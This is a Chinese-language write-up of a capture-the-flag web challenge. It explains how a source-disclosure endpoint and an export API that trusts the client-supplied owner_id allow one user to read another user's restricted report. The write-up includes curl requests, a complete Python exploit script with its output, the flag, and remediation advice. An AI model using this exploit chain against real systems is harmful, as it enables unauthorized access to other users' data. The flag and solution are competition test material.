赛事档案库 YQHL Competition Archive 返回主站
WEB-04

ExportRelay 报表导出中继

授权对象错位:导出接口只校验身份不校验属主,配合源码泄露还原出运维报表的访问路径。

方向Web
难度 Medium
题号15 / 20
项目 内容
分类 / 难度 Web / Medium
类型 授权对象错位(IDOR/BOLA)+ 源码泄露
登录 alice / alicepass(普通分析员)
目标 拿到运维名下的「运维 - 受限事件导出」报表内容

1. 先摸清界面

ExportRelay 是一个报表导出中继台:左边租户/报表列表,右边报表卡片,卡片上有「导出」按钮。用 alice 登录后,工作台只显示两条报表。

打开开发者工具,把页面用到的接口列一遍:

GET  /api/me                     当前用户
GET  /api/reports                我可见的报表列表
POST /api/exports                创建导出任务
GET  /api/exports/<id>/download  下载导出结果
POST /api/login                  登录
GET  /source?file=<name>         源码查阅

/api/me 确认了自己的身份:

{"id":10,"username":"alice","password":"alicepass","org_id":100,"role":"analyst"}

/api/reports:

[
  {"id":1001,"owner_id":10,"title":"Alice - 每周边界巡检","body":"公开边界巡检报告。"},
  {"id":1002,"owner_id":10,"title":"Alice - 预发环境发现","body":"租户 100 的预发环境发现。"}
]

两条都是自己的(owner_id=10)。但页脚有个不起眼的链接指向 /source,标注是"源码查阅",用于运维核对部署版本。

2. 第一跳:/source 把整个应用交出来了

先看看这个工具能读什么:

curl 'http://target/source?file=users.php'
<?php
return [
    10 => ['id'=>10, 'username'=>'alice',   'password'=>'alicepass',   'org_id'=>100, 'role'=>'analyst'],
    20 => ['id'=>20, 'username'=>'bob',     'password'=>'bobpass',     'org_id'=>200, 'role'=>'analyst'],
    1  => ['id'=>1,  'username'=>'rootops', 'password'=>'not-for-you', 'org_id'=>999, 'role'=>'admin'],
];

没有任何鉴权。换几个文件名继续读,router.php、ExportService.php、lib.php、reports.php 都能拿到。白名单是 router.php / ExportService.php / lib.php / users.php / reports.php 五个,in_array 严格比对,试图用 ../flag 或 index.html 都会返回 404。

reports.php 里藏着目标:

9001 => ['id'=>9001, 'owner_id'=>1, 'title'=>'运维 - 受限事件导出', 'body'=>'FLAG_HERE'],

reports.php 里 body 写的是占位符 FLAG_HERE,真正取值在 lib.php:

function data_reports(): array {
    static $x = null;
    if ($x !== null) return $x;
    $x = require __DIR__.'/reports.php';
    $flag = getenv('FLAG');
    if ($flag === false || $flag === '') $flag = trim(@file_get_contents('/flag') ?: '');
    foreach ($x as &$r) $r['body'] = str_replace('FLAG_HERE', $flag, $r['body']);
    return $x = $x;
}

目标明确:读出 9001 号报表的 body,它的 owner_id=1,属于 rootops。

3. 试一条直路:当 admin

users.php 里有 rootops / not-for-you,role 是 admin。先直接登进去:

curl -H 'Content-Type: application/json' \
     -d '{"username":"rootops","password":"not-for-you"}' \
     http://target/api/login
# {"ok":true,"username":"rootops"}

登录接口说成功了。但用这个会话访问 /api/me:

curl -H 'Cookie: sid=rootops' http://target/api/me
# {"error":"需要登录"}

登录成功但会话无效。 对照 lib.php 里的会话解析:

function current_user(): ?array {
    $sid = $_COOKIE['sid'] ?? '';
    $map = ['alice'=>10, 'bob'=>20];
    if (!isset($map[$sid])) return null;
    return data_users()[$map[$sid]];
}

current_user() 用的是另一张写死的表,只有 alice=>10、bob=>20。rootops 不在这张表里,所以登录接口校验密码通过、发了 sid=rootops,但每个请求解析身份时都拿不到用户。这条直路是断的,role=admin 永远用不上。

顺便:/api/reports/9001 这种"按 id 取单条"的接口在路由里根本没有实现,返回 404。所以 admin 这条路即便通了也只有列表。

4. 第二跳:看清授权到底校验了什么

回到 ExportService.php:

class ExportService {
    public static function create(array $user, array $input): array {
        $ownerId  = (int)($input['owner_id']  ?? 0);
        $reportId = (int)($input['report_id'] ?? 0);
        if (!Policy::canExport($user, $ownerId)) {
            throw new RuntimeException('未授权', 403);
        }
        $reports = data_reports();
        if (!isset($reports[$reportId])) throw new RuntimeException('报表不存在', 404);
        $id = (string)random_int(10000, 99999);
        $job = ['id'=>$id, 'created_by'=>$user['id'], 'owner_id'=>$ownerId,
                'report_id'=>$reportId, 'status'=>'ready'];
        file_put_contents(__DIR__ . '/storage/export_' . $id . '.json', json_encode($job));
        return $job;
    }

canExport 的具体实现藏在 Policy.php 里,而它不在 /source 的白名单中(五个文件:router.php / ExportService.php / lib.php / users.php / reports.php)。试了 ?file=Policy.php、?file=policy.php、?file=classes/Policy.php 全是 404,拿不到代码。

不过看不看得到实现,这里已经有一个足够刺眼的信号:授权检查用的是 $ownerId,而随后取报表用的却是 $reportId,两个变量在 create() 内部从头到尾碰过面的地方只有第一行的赋值。就算 canExport 写得再严,它检查的也不是"这个 report_id 属不属于我"。

不能只靠读代码下结论,用三组请求把 canExport 的判据夹出来。先准备两条自己的报表(1001、1002,owner_id=10)和别人的报表(9001,owner_id=1):

# A. owner_id 是别人的(1),report_id 是自己的
curl -H 'Cookie: sid=alice' -H 'Content-Type: application/json' \
     -d '{"report_id":1001,"owner_id":1}' http://target/api/exports
# {"error":"未授权"}   → 403

# B. owner_id 是自己的(10),report_id 也是自己的
curl -H 'Cookie: sid=alice' -H 'Content-Type: application/json' \
     -d '{"report_id":1001,"owner_id":10}' http://target/api/exports
# {"id":"...","owner_id":10,"report_id":1001,...}   → 201

# C. 不带 owner_id
curl -H 'Cookie: sid=alice' -H 'Content-Type: application/json' \
     -d '{"report_id":1001}' http://target/api/exports
# {"error":"未授权"}   → 403

三组结果说明两件事:

  1. A 组 403、B 组 201,owner_id 从 1 改成 10 就从拒绝变通过 → canExport 判的是 owner_id 这个请求字段跟当前用户的关系;
  2. C 组 403 → owner_id 缺省时按 0 处理(对应 (int)($input['owner_id'] ?? 0)),同样过不去,不存在"不传就跳过校验"的旁路。

所以判据是"请求里的 owner_id 必须等于我的 id"(或多或少的 admin 分支,反正我们不是 admin 用不上)。

再看 A 组失败的响应体,canExport 一 return 就抛出去了,report_id 那一行根本没被执行到——意味着 report_id 这个字段从头到尾没被任何鉴权看过。它唯一被用到的地方是 create() 后面查表:

$reports = data_reports();
if (!isset($reports[$reportId])) throw new RuntimeException('报表不存在', 404);

这里只判断"存不存在",不判断"归谁"。

这就是问题的全部:可以"用自己拥有的 owner_id 通过检查",同时"操作别人的 report_id"。

5. 第三跳:把两个字段拆开

授权维度填自己的,操作维度填目标的:

curl -H 'Cookie: sid=alice' -H 'Content-Type: application/json' \
     -d '{"report_id":9001,"owner_id":10}' http://target/api/exports
{"id":"32553","created_by":10,"owner_id":10,"report_id":9001,"status":"ready"}

201。任务建好了,注意返回里的 owner_id 是 10(我们填的),report_id 是 9001(别人的)——服务端把两个矛盾的值原样存了下来,没有做任何一致性检查。

6. 第四跳:下载

curl -H 'Cookie: sid=alice' http://target/api/exports/32553/download
# 运维 - 受限事件导出

flag{local_verify_w04}

download() 同样没有任何归属校验:

public static function download(string $id): never {
    $p = __DIR__ . '/storage/export_' . $id . '.json';
    if (!is_file($p)) json_out(['error'=>'导出不存在'], 404);
    $job = json_decode(file_get_contents($p), true);
    $reports = data_reports();
    $report = $reports[$job['report_id']] ?? null;     // ← 直接按 report_id 取
    ...
    echo "# " . $report['title'] . "\n\n" . $report['body'] . "\n";
}

它只按 report_id 取报表内容,created_by / owner_id 一个都没用上。所以只要能建出这个任务(第 5 节),就一定能下到内容。

对照一下:报表列表的过滤是真做对了的(WHERE owner_id = 当前用户),9001 确实不会出现在 alice 的列表里。读权限收紧了,导出这条侧门没收。

7. 完整利用

import json, urllib.request

BASE = "http://target"
SID  = "alice"

def req(path, method="GET", body=None):
    data = json.dumps(body).encode() if body else None
    r = urllib.request.Request(BASE + path, data=data, method=method,
                               headers={"Cookie": f"sid={SID}",
                                        "Content-Type": "application/json"})
    try:
        with urllib.request.urlopen(r, timeout=15) as resp:
            return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()

# 0) 读源码,确认报表 id 与 owner(Policy.php 读不到,用行为探)
for f in ("reports.php", "ExportService.php", "lib.php", "users.php"):
    print("========", f)
    print(req(f"/source?file={f}")[1])

# 0.5) 夹出 canExport 的判据:owner_id 换成自己的才过
print(req("/api/exports", "POST", {"report_id": 1001, "owner_id": 1})[0])   # 403
print(req("/api/exports", "POST", {"report_id": 1001, "owner_id": 10})[0])  # 201

# 1) owner_id 用自己的,report_id 指向运维报表
st, b = req("/api/exports", "POST", {"report_id": 9001, "owner_id": 10})
print(st, b)
job = json.loads(b)["id"]

# 2) 下载
print(req(f"/api/exports/{job}/download")[1])

跑出来的东西:

======= reports.php
... 9001 => ['owner_id'=>1, 'title'=>'运维 - 受限事件导出', 'body'=>'FLAG_HERE'] ...
======= ExportService.php
... if (!Policy::canExport($user, $ownerId)) throw new RuntimeException('未授权', 403);
... if (!isset($reports[$reportId])) throw new RuntimeException('报表不存在', 404);
403
201
201 {"id":"32553","created_by":10,"owner_id":10,"report_id":9001,"status":"ready"}
# 运维 - 受限事件导出

flag{local_verify_w04}

(report_id 用 9001、owner_id 用 10,就是第 5 节那条命令。)

8. 卡住过的地方

现象 当时怎么试的 为什么不通
rootops 登录返回 ok,但 /api/me 说"需要登录" 换了 cookie 名、试了 ?sid=、试了 basic auth 会话解析走的是一张写死的表(alice/bob),admin 从来进不去
{"report_id":9001,"owner_id":1} 想直接冒充运维 想着"owner 对上就行" canExport 比的是当前会话用户的 id,不看"你声称的 owner 是谁"
想读 Policy.php 确认判据 ?file=Policy.php / ?file=policy.php / ?file=classes/Policy.php 白名单只有五个文件,读不到;改用 A/B/C 三组请求行为探测
想用 /api/reports/9001 直接读 GET /api/reports/9001 路由里没这个接口,404
只用 report_id 不带 owner_id {"report_id":9001} owner_id 缺省为 0,0 !== 10 → 403
想改导出 id 猜别人的 试 10000–99999 不用猜,自己建的任务download 也不校验归属

9. 这题教会的三件事

  1. /source 这类"给运维用的查版本工具"是高危面。它在文件名上做了白名单(挡了 ../flag),却把最关键的"谁能读"落了。看到这类端点,第一反应就该是把白名单里每一个文件名都拖一遍。
  2. 授权看的是"你提交的对象"还是"服务端的对象" 是分水岭。凡是请求体里出现 owner_id / tenant_id / user_id 这类字段,都要怀疑它是拿来"过检查"而不是"被检查"的。
  3. 登录接口通过 ≠ 会话有效。本题里两套身份数据源不一致,出现了一个"能认证、不能授权"的悬空账号。真实系统里这种不一致往往是更严重的漏洞土壤。

10. 修复建议

  • 删掉 /source,或至少要求 admin 会话并放到内网;镜像里不要打包含明文的账号表;
  • 授权时从服务端数据反查:先 $report = $reports[$reportId],再判 $report['owner_id'] === $user['id'];请求体里的 owner_id 一律丢弃;
  • download() 校验 $job['created_by'] === $user['id'],导出 id 换成不可枚举的 UUID;
  • 统一身份数据源,登录与会话解析用同一张表。

11. 小结

一条链:/source 无鉴权泄露源码 → 从 ExportService::create() 看出授权用的 owner_id 和实际操作对象 report_id 是两回事 → 三组请求夹出 canExport 只认请求里的 owner_id → 把 owner_id 填自己的、report_id 填目标的 → 201 → 下载。

Flag:flag{local_verify_w04}